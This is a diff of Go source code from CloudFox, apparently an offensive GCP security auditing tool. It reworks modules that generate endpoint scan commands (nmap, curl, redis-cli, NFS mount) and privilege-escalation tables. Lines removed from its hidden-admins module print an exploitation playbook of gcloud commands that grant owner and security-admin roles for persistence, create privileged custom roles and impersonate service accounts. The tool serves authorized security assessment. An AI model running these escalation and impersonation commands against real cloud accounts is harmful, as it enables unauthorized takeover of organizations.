Contents: m.generateGroupedCommands(internalEndpoints, false),
})
}
return lootFiles
}
// generateGroupedCommands creates commands grouped by network
func (m *EndpointsModule) generateGroupedCommands(endpoints []Endpoint, isExternal bool) string {
var contents strings.Builder
if isExternal {
contents.WriteString("# External Endpoint Scan Commands\n")
contents.WriteString("# Generated by CloudFox\n")
contents.WriteString("# These endpoints are internet-facing\n\n")
} else {
contents.WriteString("# Internal Endpoint Scan Commands\n")
contents.WriteString("# Generated by CloudFox\n")
contents.WriteString("# These endpoints require internal network access (VPN, bastion, etc.)\n\n")
}
// Group endpoints by network (same VPC = same firewall rules)
groups := make(map[string][]Endpoint)
var groupOrder []string
for _, ep := range endpoints {
network := ep.Network
if network == "" {
network = "default"
}
if _, exists := groups[network]; !exists {
groupOrder = append(groupOrder, network)
}
groups[network] = append(groups[network], ep)
}
// Generate commands for each network group
for _, network := range groupOrder {
groupEndpoints := groups[network]
contents.WriteString(fmt.Sprintf("# =============================================================================\n"))
contents.WriteString(fmt.Sprintf("# Network: %s\n", network))
contents.WriteString(fmt.Sprintf("# =============================================================================\n\n"))
// Generate commands for each endpoint in the group
for _, ep := range groupEndpoints {
m.writeEndpointCommand(&contents, ep)
}
}
return contents.String()
}
// writeEndpointCommand writes the command for a single endpoint
func (m *EndpointsModule) writeEndpointCommand(contents *strings.Builder, ep Endpoint) {
// Determine best target for scanning
target := ep.ExternalIP
if target == "" {
@@ -1200,34 +1269,18 @@ func (m *EndpointsModule) addEndpointToLoot(projectID string, ep Endpoint) {
return
}
exposure := "INTERNAL"
if ep.IsExternal {
exposure = "EXTERNAL"
}
lootFile.Contents += fmt.Sprintf(
"# [%s] %s: %s (%s)\n"+
"# Project: %s | Region: %s | Network: %s\n",
exposure, ep.Type, ep.Name, ep.ResourceType,
ep.ProjectID, ep.Region, ep.Network,
)
if ep.Security != "" {
lootFile.Contents += fmt.Sprintf("# Security: %s\n", ep.Security)
}
// Write endpoint header (just type and name)
contents.WriteString(fmt.Sprintf("# %s: %s\n", ep.Type, ep.Name))
// Generate appropriate commands based on type
switch ep.Type {
case "Cloud Run", "Cloud Function", "Composer Airflow", "App Engine", "Vertex AI Notebook":
if ep.Hostname != "" {
lootFile.Contents += fmt.Sprintf("curl -v https://%s\n\n", ep.Hostname)
contents.WriteString(fmt.Sprintf("curl -v https://%s\n\n", ep.Hostname))
}
case "GKE API":
lootFile.Contents += fmt.Sprintf(
"# Get cluster credentials:\n"+
"gcloud container clusters get-credentials %s --region=%s --project=%s\n"+
"kubectl cluster-info\n\n",
ep.Name, ep.Region, ep.ProjectID)
contents.WriteString(fmt.Sprintf("gcloud container clusters get-credentials %s --region=%s --project=%s\n", ep.Name, ep.Region, ep.ProjectID))
contents.WriteString("kubectl cluster-info\n\n")
case "Cloud SQL":
protocol := "mysql"
if strings.Contains(ep.Port, "5432") {
@@ -1235,51 +1288,32 @@ func (m *EndpointsModule) addEndpointToLoot(projectID string, ep Endpoint) {
} else if strings.Contains(ep.Port, "1433") {
protocol = "sqlcmd"
}
lootFile.Contents += fmt.Sprintf(
"# Connect to database:\n"+
"# %s -h %s -P %s -u USERNAME\n"+
"nmap -sV -Pn -p %s %s\n\n",
protocol, target, ep.Port, ep.Port, target)
contents.WriteString(fmt.Sprintf("# %s -h %s -P %s -u USERNAME\n", protocol, target, ep.Port))
contents.WriteString(fmt.Sprintf("nmap -sV -Pn -p %s %s\n\n", ep.Port, target))
case "Redis":
lootFile.Contents += fmt.Sprintf(
"redis-cli -h %s -p %s\n"+
"nmap -sV -Pn -p %s %s\n\n",
target, ep.Port, ep.Port, target)
contents.WriteString(fmt.Sprintf("redis-cli -h %s -p %s\n", target, ep.Port))
contents.WriteString(fmt.Sprintf("nmap -sV -Pn -p %s %s\n\n", ep.Port, target))
case "Filestore NFS":
lootFile.Contents += fmt.Sprintf(
"showmount -e %s\n"+
"sudo mount -t nfs %s:/<share> /mnt/<mountpoint>\n\n",
target, target)
contents.WriteString(fmt.Sprintf("showmount -e %s\n", target))
contents.WriteString(fmt.Sprintf("sudo mount -t nfs %s:/<share> /mnt/<mountpoint>\n\n", target))
case "Dataproc Master":
lootFile.Contents += fmt.Sprintf(
"# SSH to master node:\n"+
"gcloud compute ssh %s --project=%s --zone=<ZONE>\n"+
"# Web UIs: YARN (8088), HDFS (9870), Spark (8080)\n\n",
strings.TrimSuffix(ep.Name, "-master"), ep.ProjectID)
contents.WriteString(fmt.Sprintf("gcloud compute ssh %s --project=%s --zone=<ZONE>\n", strings.TrimSuffix(ep.Name, "-master"), ep.ProjectID))
contents.WriteString("# Web UIs: YARN (8088), HDFS (9870), Spark (8080)\n\n")
case "VPN Gateway", "HA VPN Gateway":
lootFile.Contents += fmt.Sprintf(
"# VPN Gateway IP: %s\n"+
"# Ports: 500/UDP (IKE), 4500/UDP (NAT-T), ESP\n"+
"nmap -sU -Pn -p 500,4500 %s\n\n",
target, target)
contents.WriteString(fmt.Sprintf("# VPN Gateway IP: %s (ports 500/UDP, 4500/UDP, ESP)\n", target))
contents.WriteString(fmt.Sprintf("nmap -sU -Pn -p 500,4500 %s\n\n", target))
case "Pub/Sub Push":
lootFile.Contents += fmt.Sprintf(
"# Push endpoint (receives messages from Pub/Sub):\n"+
"curl -v https://%s\n\n",
ep.Hostname)
contents.WriteString(fmt.Sprintf("curl -v https://%s\n\n", ep.Hostname))
default:
var nmapCmd string
switch {
case ep.Port == "ALL" || ep.Port == "":
nmapCmd = fmt.Sprintf("nmap -sV -Pn %s", target)
default:
nmapCmd = fmt.Sprintf("nmap -sV -Pn -p %s %s", ep.Port, target)
if ep.Port == "ALL" || ep.Port == "" {
contents.WriteString(fmt.Sprintf("nmap -sV -Pn %s\n", target))
} else {
contents.WriteString(fmt.Sprintf("nmap -sV -Pn -p %s %s\n", ep.Port, target))
}
lootFile.Contents += nmapCmd + "\n\n"
if ep.TLSEnabled || ep.Port == "443" {
lootFile.Contents += fmt.Sprintf("curl -vk https://%s/\n\n", target)
contents.WriteString(fmt.Sprintf("curl -vk https://%s/\n", target))
}
contents.WriteString("\n")
}
}
@@ -1391,15 +1425,7 @@ func (m *EndpointsModule) writeHierarchicalOutput(ctx context.Context, logger in
for projectID := range m.ProjectEndpoints {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" {
lootFiles = append(lootFiles, *loot)
}
}
}
lootFiles := m.generateLootFiles(projectID)
outputData.ProjectLevelData[projectID] = EndpointsOutput{Table: tableFiles, Loot: lootFiles}
}
@@ -1425,14 +1451,31 @@ func (m *EndpointsModule) writeFlatOutput(ctx context.Context, logger internal.L
})
}
// Collect loot files
// Generate loot files from all endpoints combined
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" {
lootFiles = append(lootFiles, *loot)
if len(allEndpoints) > 0 {
// Separate external and internal endpoints
var externalEndpoints, internalEndpoints []Endpoint
for _, ep := range allEndpoints {
if ep.IsExternal {
externalEndpoints = append(externalEndpoints, ep)
} else {
internalEndpoints = append(internalEndpoints, ep)
}
}
if len(externalEndpoints) > 0 {
lootFiles = append(lootFiles, internal.LootFile{
Name: "endpoints-external-commands",
Contents: m.generateGroupedCommands(externalEndpoints, true),
})
}
if len(internalEndpoints) > 0 {
lootFiles = append(lootFiles, internal.LootFile{
Name: "endpoints-internal-commands",
Contents: m.generateGroupedCommands(internalEndpoints, false),
})
}
}
output := EndpointsOutput{
Regular → Executable
+106 -18
View File
@@ -75,6 +75,7 @@ type FoxMapperModule struct {
OrgID string
ProjectID string
DataPath string
OrgCache *gcpinternal.OrgCache
// Output data
Admins []*foxmapperservice.Node
@@ -112,6 +113,9 @@ func runGCPFoxMapperCommand(cmd *cobra.Command, args []string) {
}
func (m *FoxMapperModule) Execute(ctx context.Context, logger internal.Logger) {
// Get OrgCache for project number resolution
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
logger.InfoM("Looking for FoxMapper data and building privilege escalation graph...", "foxmapper")
// Custom path specified - load directly
@@ -252,7 +256,8 @@ func (m *FoxMapperModule) generateOutputForProject(logger internal.Logger, proje
var output FoxMapperOutput
// Main table: principals with admin or path to admin
mainHeader := []string{"Principal", "Type", "Project", "Is Admin", "Admin Level", "Path to Admin", "Privesc To", "Hops"}
// Read left to right: Project -> Type -> Principal -> Admin Status -> Privesc Target -> Privesc Admin Level -> Hops
mainHeader := []string{"Project", "Type", "Principal", "Is Admin", "Admin Level", "Privesc To", "Privesc Admin Level", "Hops"}
var mainBody [][]string
// First add admins
@@ -262,10 +267,10 @@ func (m *FoxMapperModule) generateOutputForProject(logger internal.Logger, proje
adminLevel = "project"
}
mainBody = append(mainBody, []string{
admin.Email,
admin.MemberType,
admin.ProjectID,
"YES",
admin.MemberType,
admin.Email,
"Yes",
adminLevel,
"-",
"-",
@@ -278,25 +283,66 @@ func (m *FoxMapperModule) generateOutputForProject(logger internal.Logger, proje
paths := fm.GetPrivescPaths(node.Email)
shortestPath := "-"
privescTo := "-"
privescAdminLevel := "-"
if len(paths) > 0 {
shortestPath = strconv.Itoa(paths[0].HopCount)
bestPath := paths[0]
shortestPath = strconv.Itoa(bestPath.HopCount)
// Get the destination (admin) from the best path
privescTo = paths[0].Destination
privescTo = bestPath.Destination
// Clean up the display
if strings.HasPrefix(privescTo, "serviceAccount:") {
privescTo = strings.TrimPrefix(privescTo, "serviceAccount:")
} else if strings.HasPrefix(privescTo, "user:") {
privescTo = strings.TrimPrefix(privescTo, "user:")
}
// Format privesc admin level
destNode := fm.GetNode(bestPath.Destination)
switch bestPath.AdminLevel {
case "org":
privescAdminLevel = "Org"
case "folder":
// Try to extract folder from the destination node's IAM bindings
if destNode != nil && len(destNode.IAMBindings) > 0 {
for _, binding := range destNode.IAMBindings {
if resource, ok := binding["resource"].(string); ok {
if strings.HasPrefix(resource, "folders/") {
folderID := strings.TrimPrefix(resource, "folders/")
privescAdminLevel = fmt.Sprintf("Folder: %s", folderID)
break
}
}
}
}
if privescAdminLevel == "-" {
privescAdminLevel = "Folder"
}
case "project":
// Try to get the project ID from the destination node or principal
if destNode != nil && destNode.ProjectID != "" {
privescAdminLevel = fmt.Sprintf("Project: %s", destNode.ProjectID)
} else {
destProject := extractProjectFromPrincipal(bestPath.Destination, m.OrgCache)
if destProject != "" {
privescAdminLevel = fmt.Sprintf("Project: %s", destProject)
} else {
privescAdminLevel = "Project"
}
}
default:
if bestPath.AdminLevel != "" {
privescAdminLevel = bestPath.AdminLevel
}
}
}
mainBody = append(mainBody, []string{
node.Email,
node.MemberType,
node.ProjectID,
node.MemberType,
node.Email,
"No",
"-",
"YES",
privescTo,
privescAdminLevel,
shortestPath,
})
}
@@ -473,7 +519,8 @@ func (m *FoxMapperModule) generateOutput(logger internal.Logger, identifier stri
var output FoxMapperOutput
// Main table: principals with admin or path to admin
mainHeader := []string{"Principal", "Type", "Project", "Is Admin", "Admin Level", "Path to Admin", "Privesc To", "Hops"}
// Read left to right: Project -> Type -> Principal -> Admin Status -> Privesc Target -> Privesc Admin Level -> Hops
mainHeader := []string{"Project", "Type", "Principal", "Is Admin", "Admin Level", "Privesc To", "Privesc Admin Level", "Hops"}
var mainBody [][]string
// First add admins
@@ -483,10 +530,10 @@ func (m *FoxMapperModule) generateOutput(logger internal.Logger, identifier stri
adminLevel = "project"
}
mainBody = append(mainBody, []string{
admin.Email,
admin.MemberType,
admin.ProjectID,
"YES",
admin.MemberType,
admin.Email,
"Yes",
adminLevel,
"-",
"-",
@@ -499,25 +546,66 @@ func (m *FoxMapperModule) generateOutput(logger internal.Logger, identifier stri
paths := m.FoxMapper.GetPrivescPaths(node.Email)
shortestPath := "-"
privescTo := "-"
privescAdminLevel := "-"
if len(paths) > 0 {
shortestPath = strconv.Itoa(paths[0].HopCount)
bestPath := paths[0]
shortestPath = strconv.Itoa(bestPath.HopCount)
// Get the destination (admin) from the best path
privescTo = paths[0].Destination
privescTo = bestPath.Destination
// Clean up the display
if strings.HasPrefix(privescTo, "serviceAccount:") {
privescTo = strings.TrimPrefix(privescTo, "serviceAccount:")
} else if strings.HasPrefix(privescTo, "user:") {
privescTo = strings.TrimPrefix(privescTo, "user:")
}
// Format privesc admin level
destNode := m.FoxMapper.GetNode(bestPath.Destination)
switch bestPath.AdminLevel {
case "org":
privescAdminLevel = "Org"
case "folder":
// Try to extract folder from the destination node's IAM bindings
if destNode != nil && len(destNode.IAMBindings) > 0 {
for _, binding := range destNode.IAMBindings {
if resource, ok := binding["resource"].(string); ok {
if strings.HasPrefix(resource, "folders/") {
folderID := strings.TrimPrefix(resource, "folders/")
privescAdminLevel = fmt.Sprintf("Folder: %s", folderID)
break
}
}
}
}
if privescAdminLevel == "-" {
privescAdminLevel = "Folder"
}
case "project":
// Try to get the project ID from the destination node or principal
if destNode != nil && destNode.ProjectID != "" {
privescAdminLevel = fmt.Sprintf("Project: %s", destNode.ProjectID)
} else {
destProject := extractProjectFromPrincipal(bestPath.Destination, m.OrgCache)
if destProject != "" {
privescAdminLevel = fmt.Sprintf("Project: %s", destProject)
} else {
privescAdminLevel = "Project"
}
}
default:
if bestPath.AdminLevel != "" {
privescAdminLevel = bestPath.AdminLevel
}
}
}
mainBody = append(mainBody, []string{
node.Email,
node.MemberType,
node.ProjectID,
node.MemberType,
node.Email,
"No",
"-",
"YES",
privescTo,
privescAdminLevel,
shortestPath,
})
}
Regular → Executable
+2 -1
View File
@@ -390,7 +390,8 @@ func (m *FunctionsModule) writeFlatOutput(ctx context.Context, logger internal.L
func isEmptyLootFile(contents string) bool {
return strings.HasSuffix(contents, "# WARNING: Only use with proper authorization\n\n") ||
strings.HasSuffix(contents, "# Variable names that may hint at secrets\n\n") ||
strings.HasSuffix(contents, "# Secrets used by functions (names only)\n\n")
strings.HasSuffix(contents, "# Secrets used by functions (names only)\n\n") ||
strings.HasSuffix(contents, "# Generated by CloudFox\n\n")
}
// buildTablesForProject builds all tables for a given project's functions
Regular → Executable
+28 -17
View File
@@ -1,12 +1,13 @@
package commands
import (
"github.com/BishopFox/cloudfox/gcp/shared"
"context"
"fmt"
"strings"
"sync"
"github.com/BishopFox/cloudfox/gcp/shared"
GKEService "github.com/BishopFox/cloudfox/gcp/services/gkeService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
@@ -49,7 +50,9 @@ Attack Surface:
- Default service accounts may have excessive permissions
- Legacy ABAC allows broader access than RBAC
- Autopilot clusters have reduced attack surface
- Binary Authorization prevents untrusted container images`,
- Binary Authorization prevents untrusted container images
TIP: Run 'workload-identity' to enumerate K8s SA -> GCP SA bindings and Workload Identity Federation (external identity pools/providers).`,
Run: runGCPGKECommand,
}
@@ -60,10 +63,10 @@ type GKEModule struct {
gcpinternal.BaseGCPModule
// Module-specific fields - per-project for hierarchical output
ProjectClusters map[string][]GKEService.ClusterInfo // projectID -> clusters
ProjectNodePools map[string][]GKEService.NodePoolInfo // projectID -> node pools
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
ProjectClusters map[string][]GKEService.ClusterInfo // projectID -> clusters
ProjectNodePools map[string][]GKEService.NodePoolInfo // projectID -> node pools
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
mu sync.Mutex
}
@@ -203,15 +206,22 @@ func (m *GKEModule) addClusterToLoot(projectID string, cluster GKEService.Cluste
}
lootFile.Contents += fmt.Sprintf(
"# Cluster: %s (%s)\n"+
"# Project: %s\n"+
"gcloud container clusters describe %s --location=%s --project=%s\n"+
"gcloud container clusters get-credentials %s --location=%s --project=%s\n"+
"#### Cluster: %s (%s)\n"+
"### Project: %s\n\n"+
"# Get detailed cluster configuration and settings\n"+
"gcloud container clusters describe %s --location=%s --project=%s\n\n"+
"# Configure kubectl to authenticate to this cluster\n"+
"gcloud container clusters get-credentials %s --location=%s --project=%s\n\n"+
"# List all node pools in this cluster\n"+
"gcloud container node-pools list --cluster=%s --location=%s --project=%s\n\n"+
"# kubectl commands (after getting credentials):\n"+
"kubectl cluster-info\n"+
"kubectl get nodes -o wide\n"+
"kubectl get namespaces\n"+
"# kubectl commands (after getting credentials):\n\n"+
"# Show cluster endpoint and services info\n"+
"kubectl cluster-info\n\n"+
"# List all nodes with additional details (IP, OS, runtime)\n"+
"kubectl get nodes -o wide\n\n"+
"# List all namespaces in the cluster\n"+
"kubectl get namespaces\n\n"+
"# Check what actions you can perform in the cluster\n"+
"kubectl auth can-i --list\n\n",
cluster.Name, cluster.Location,
cluster.ProjectID,
@@ -379,8 +389,8 @@ func (m *GKEModule) buildTablesForProject(clusters []GKEService.ClusterInfo, nod
// Node pools table - node-level details including hardware security (like instances module)
nodePoolHeader := []string{
"Project", "Cluster", "Node Pool", "Machine Type", "Node Count",
"Service Account", "SA Attack Paths", "SA Scopes", "SA Scope Summary",
"Auto Upgrade", "Secure Boot", "Integrity", "Preemptible",
"Service Account", "SA Attack Paths", "SA Scopes", "SA Scope Summary",
}
var nodePoolBody [][]string
@@ -409,10 +419,11 @@ func (m *GKEModule) buildTablesForProject(clusters []GKEService.ClusterInfo, nod
nodePoolBody = append(nodePoolBody, []string{
m.GetProjectName(np.ProjectID), np.ClusterName, np.Name,
np.MachineType, fmt.Sprintf("%d", np.NodeCount), saDisplay, attackPaths,
scopes, scopeSummary, shared.BoolToYesNo(np.AutoUpgrade),
np.MachineType, fmt.Sprintf("%d", np.NodeCount),
shared.BoolToYesNo(np.AutoUpgrade),
shared.BoolToYesNo(np.SecureBoot), shared.BoolToYesNo(np.IntegrityMonitoring),
shared.BoolToYesNo(np.Preemptible || np.Spot),
saDisplay, attackPaths, scopes, scopeSummary,
})
}
Regular → Executable
+295 -392
View File
@@ -90,6 +90,9 @@ type HiddenAdminsModule struct {
WrongAdmins []foxmapperservice.WrongAdminFinding
FoxMapperCache *gcpinternal.FoxMapperCache
// OrgCache for ancestry lookups
OrgCache *gcpinternal.OrgCache
OrgIDs []string
OrgNames map[string]string
FolderNames map[string]string
@@ -168,6 +171,15 @@ func GetIAMModificationPermissions() []IAMModificationPermission {
func (m *HiddenAdminsModule) Execute(ctx context.Context, logger internal.Logger) {
logger.InfoM("Analyzing IAM policies to identify hidden admins...", globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
// Load OrgCache for ancestry lookups (needed for per-project filtering)
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
diskCache, _, err := gcpinternal.LoadOrgCacheFromFile(m.OutputDirectory, m.Account)
if err == nil && diskCache != nil && diskCache.IsPopulated() {
m.OrgCache = diskCache
}
}
// Try to load FoxMapper data for wrongadmin analysis
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache == nil || !m.FoxMapperCache.IsPopulated() {
@@ -491,342 +503,7 @@ func (m *HiddenAdminsModule) getKnownRolePermissions(role string) []string {
}
func (m *HiddenAdminsModule) generateLoot() {
m.LootMap["hidden-admins-exploit-commands"] = &internal.LootFile{
Name: "hidden-admins-exploit-commands",
Contents: "# GCP Hidden Admins - IAM Modification Exploit Commands\n# Generated by CloudFox\n\n",
}
// Add entity-specific exploit commands
for _, admin := range m.AllAdmins {
m.addAdminToLoot(admin)
}
// Add playbook
m.generatePlaybook()
}
func (m *HiddenAdminsModule) addAdminToLoot(admin HiddenAdmin) {
lootFile := m.LootMap["hidden-admins-exploit-commands"]
if lootFile == nil {
return
}
scopeInfo := fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeName)
if admin.ScopeName == "" {
scopeInfo = fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeID)
}
lootFile.Contents += fmt.Sprintf(
"# Permission: %s\n"+
"# Principal: %s (%s)\n"+
"# Scope: %s\n"+
"# Category: %s\n"+
"%s\n\n",
admin.Permission,
admin.Principal, admin.PrincipalType,
scopeInfo,
admin.Category,
admin.ExploitCommand,
)
}
func (m *HiddenAdminsModule) generatePlaybook() {
var content strings.Builder
content.WriteString(`# GCP Hidden Admins Exploitation Playbook
# Generated by CloudFox
#
# This playbook provides exploitation techniques for principals with IAM modification capabilities.
`)
// Add wrong admins section if FoxMapper data is available
if len(m.WrongAdmins) > 0 {
content.WriteString(m.generateWrongAdminsSection())
}
// Add IAM modification section
content.WriteString(m.generatePlaybookSections())
m.LootMap["hidden-admins-playbook"] = &internal.LootFile{
Name: "hidden-admins-playbook",
Contents: content.String(),
}
}
func (m *HiddenAdminsModule) generateWrongAdminsSection() string {
var sb strings.Builder
sb.WriteString("## Wrong Admins (FoxMapper Analysis)\n\n")
sb.WriteString("These principals are marked as admin in the IAM graph but don't have explicit admin roles (roles/owner).\n")
sb.WriteString("Instead, they have self-assignment capabilities (can grant themselves roles/owner).\n\n")
sb.WriteString("**Why this matters:** These principals are effectively admin but may not appear in standard admin audits.\n")
sb.WriteString("They can escalate to full admin access at any time by modifying IAM policies.\n\n")
// Group by admin level
orgWrong := []foxmapperservice.WrongAdminFinding{}
folderWrong := []foxmapperservice.WrongAdminFinding{}
projectWrong := []foxmapperservice.WrongAdminFinding{}
for _, wa := range m.WrongAdmins {
switch wa.AdminLevel {
case "org":
orgWrong = append(orgWrong, wa)
case "folder":
folderWrong = append(folderWrong, wa)
default:
projectWrong = append(projectWrong, wa)
}
}
if len(orgWrong) > 0 {
sb.WriteString("### CRITICAL: Organization-Level Wrong Admins\n\n")
for _, wa := range orgWrong {
sb.WriteString(fmt.Sprintf("**%s** [%s]\n", wa.Principal, wa.MemberType))
for _, reason := range wa.Reasons {
sb.WriteString(fmt.Sprintf(" - %s\n", reason))
}
sb.WriteString("\n```bash\n")
sb.WriteString("# This principal can grant themselves org-level owner:\n")
sb.WriteString(fmt.Sprintf("gcloud organizations add-iam-policy-binding ORG_ID \\\n"))
sb.WriteString(fmt.Sprintf(" --member='%s:%s' \\\n", wa.MemberType, wa.Principal))
sb.WriteString(" --role='roles/owner'\n")
sb.WriteString("```\n\n")
}
}
if len(folderWrong) > 0 {
sb.WriteString("### HIGH: Folder-Level Wrong Admins\n\n")
for _, wa := range folderWrong {
sb.WriteString(fmt.Sprintf("**%s** [%s]\n", wa.Principal, wa.MemberType))
for _, reason := range wa.Reasons {
sb.WriteString(fmt.Sprintf(" - %s\n", reason))
}
sb.WriteString("\n```bash\n")
sb.WriteString("# This principal can grant themselves folder-level owner:\n")
sb.WriteString(fmt.Sprintf("gcloud resource-manager folders add-iam-policy-binding FOLDER_ID \\\n"))
sb.WriteString(fmt.Sprintf(" --member='%s:%s' \\\n", wa.MemberType, wa.Principal))
sb.WriteString(" --role='roles/owner'\n")
sb.WriteString("```\n\n")
}
}
if len(projectWrong) > 0 {
sb.WriteString("### MEDIUM: Project-Level Wrong Admins\n\n")
for _, wa := range projectWrong {
sb.WriteString(fmt.Sprintf("**%s** [%s]", wa.Principal, wa.MemberType))
if wa.ProjectID != "" {
sb.WriteString(fmt.Sprintf(" in %s", wa.ProjectID))
}
sb.WriteString("\n")
for _, reason := range wa.Reasons {
sb.WriteString(fmt.Sprintf(" - %s\n", reason))
}
projectID := wa.ProjectID
if projectID == "" {
projectID = "PROJECT_ID"
}
sb.WriteString("\n```bash\n")
sb.WriteString("# This principal can grant themselves project-level owner:\n")
sb.WriteString(fmt.Sprintf("gcloud projects add-iam-policy-binding %s \\\n", projectID))
sb.WriteString(fmt.Sprintf(" --member='%s:%s' \\\n", wa.MemberType, wa.Principal))
sb.WriteString(" --role='roles/owner'\n")
sb.WriteString("```\n\n")
}
}
sb.WriteString("---\n\n")
return sb.String()
}
func (m *HiddenAdminsModule) generatePlaybookSections() string {
var sections strings.Builder
// Group admins by permission category
categories := map[string][]HiddenAdmin{
"Org IAM": {},
"Folder IAM": {},
"Project IAM": {},
"Custom Roles": {},
"SA IAM": {},
"Org Policy": {},
"Storage IAM": {},
"BigQuery IAM": {},
"Pub/Sub IAM": {},
"Secrets IAM": {},
"Compute IAM": {},
"Functions IAM": {},
"Cloud Run IAM": {},
"Artifact Registry IAM": {},
"KMS IAM": {},
}
for _, admin := range m.AllAdmins {
if _, ok := categories[admin.Category]; ok {
categories[admin.Category] = append(categories[admin.Category], admin)
}
}
// Organization IAM Modification
if len(categories["Org IAM"]) > 0 {
sections.WriteString("## Organization IAM Modification\n\n")
sections.WriteString("Principals with organization-level IAM modification can grant any role to any principal across the entire organization.\n\n")
sections.WriteString("### Principals with this capability:\n")
for _, admin := range categories["Org IAM"] {
sections.WriteString(fmt.Sprintf("- %s (%s) at %s\n", admin.Principal, admin.PrincipalType, admin.ScopeName))
}
sections.WriteString("\n### Exploitation:\n")
sections.WriteString("```bash\n")
sections.WriteString("# Grant yourself Owner role at org level\n")
sections.WriteString("gcloud organizations add-iam-policy-binding ORG_ID \\\n")
sections.WriteString(" --member='user:[email protected]' \\\n")
sections.WriteString(" --role='roles/owner'\n\n")
sections.WriteString("# Or grant more subtle roles for persistence\n")
sections.WriteString("gcloud organizations add-iam-policy-binding ORG_ID \\\n")
sections.WriteString(" --member='user:[email protected]' \\\n")
sections.WriteString(" --role='roles/iam.securityAdmin'\n")
sections.WriteString("```\n\n")
}
// Folder IAM Modification
if len(categories["Folder IAM"]) > 0 {
sections.WriteString("## Folder IAM Modification\n\n")
sections.WriteString("Principals with folder-level IAM modification can grant roles affecting all projects in the folder hierarchy.\n\n")
sections.WriteString("### Principals with this capability:\n")
for _, admin := range categories["Folder IAM"] {
sections.WriteString(fmt.Sprintf("- %s (%s) at folder %s\n", admin.Principal, admin.PrincipalType, admin.ScopeName))
}
sections.WriteString("\n### Exploitation:\n")
sections.WriteString("```bash\n")
sections.WriteString("# Grant yourself Editor role at folder level (affects all child projects)\n")
sections.WriteString("gcloud resource-manager folders add-iam-policy-binding FOLDER_ID \\\n")
sections.WriteString(" --member='user:[email protected]' \\\n")
sections.WriteString(" --role='roles/editor'\n")
sections.WriteString("```\n\n")
}
// Project IAM Modification
if len(categories["Project IAM"]) > 0 {
sections.WriteString("## Project IAM Modification\n\n")
sections.WriteString("Principals with project-level IAM modification can grant any role within the project.\n\n")
sections.WriteString("### Principals with this capability:\n")
for _, admin := range categories["Project IAM"] {
sections.WriteString(fmt.Sprintf("- %s (%s) in project %s\n", admin.Principal, admin.PrincipalType, admin.ScopeName))
}
sections.WriteString("\n### Exploitation:\n")
sections.WriteString("```bash\n")
sections.WriteString("# Grant yourself Owner role\n")
sections.WriteString("gcloud projects add-iam-policy-binding PROJECT_ID \\\n")
sections.WriteString(" --member='user:[email protected]' \\\n")
sections.WriteString(" --role='roles/owner'\n\n")
sections.WriteString("# Grant compute admin for instance access\n")
sections.WriteString("gcloud projects add-iam-policy-binding PROJECT_ID \\\n")
sections.WriteString(" --member='user:[email protected]' \\\n")
sections.WriteString(" --role='roles/compute.admin'\n")
sections.WriteString("```\n\n")
}
// Custom Role Management
if len(categories["Custom Roles"]) > 0 {
sections.WriteString("## Custom Role Management\n\n")
sections.WriteString("Principals who can create or update custom roles can add dangerous permissions to existing roles or create new privileged roles.\n\n")
sections.WriteString("### Principals with this capability:\n")
for _, admin := range categories["Custom Roles"] {
sections.WriteString(fmt.Sprintf("- %s (%s) - %s in %s\n", admin.Principal, admin.PrincipalType, admin.Permission, admin.ScopeName))
}
sections.WriteString("\n### Exploitation:\n")
sections.WriteString("```bash\n")
sections.WriteString("# Create a custom role with setIamPolicy permission\n")
sections.WriteString("gcloud iam roles create customPrivesc --project=PROJECT_ID \\\n")
sections.WriteString(" --title='Custom Admin' \\\n")
sections.WriteString(" --permissions='resourcemanager.projects.setIamPolicy'\n\n")
sections.WriteString("# Update existing custom role to add dangerous permissions\n")
sections.WriteString("gcloud iam roles update ROLE_ID --project=PROJECT_ID \\\n")
sections.WriteString(" --add-permissions='iam.serviceAccounts.getAccessToken,iam.serviceAccountKeys.create'\n")
sections.WriteString("```\n\n")
}
// Service Account IAM
if len(categories["SA IAM"]) > 0 {
sections.WriteString("## Service Account IAM Modification\n\n")
sections.WriteString("Principals who can modify service account IAM can grant themselves or others the ability to impersonate SAs.\n\n")
sections.WriteString("### Principals with this capability:\n")
for _, admin := range categories["SA IAM"] {
sections.WriteString(fmt.Sprintf("- %s (%s) in %s\n", admin.Principal, admin.PrincipalType, admin.ScopeName))
}
sections.WriteString("\n### Exploitation:\n")
sections.WriteString("```bash\n")
sections.WriteString("# List service accounts to find targets\n")
sections.WriteString("gcloud iam service-accounts list --project=PROJECT_ID\n\n")
sections.WriteString("# Grant yourself token creator role on a privileged SA\n")
sections.WriteString("gcloud iam service-accounts add-iam-policy-binding \\\n")
sections.WriteString(" SA@PROJECT_ID.iam.gserviceaccount.com \\\n")
sections.WriteString(" --member='user:[email protected]' \\\n")
sections.WriteString(" --role='roles/iam.serviceAccountTokenCreator'\n\n")
sections.WriteString("# Then impersonate the SA\n")
sections.WriteString("gcloud auth print-access-token \\\n")
sections.WriteString(" --impersonate-service-account=SA@PROJECT_ID.iam.gserviceaccount.com\n")
sections.WriteString("```\n\n")
}
// Org Policy
if len(categories["Org Policy"]) > 0 {
sections.WriteString("## Organization Policy Modification\n\n")
sections.WriteString("Principals who can modify org policies can disable security constraints.\n\n")
sections.WriteString("### Principals with this capability:\n")
for _, admin := range categories["Org Policy"] {
sections.WriteString(fmt.Sprintf("- %s (%s) at %s\n", admin.Principal, admin.PrincipalType, admin.ScopeName))
}
sections.WriteString("\n### Exploitation:\n")
sections.WriteString("```bash\n")
sections.WriteString("# Disable domain restricted sharing constraint\n")
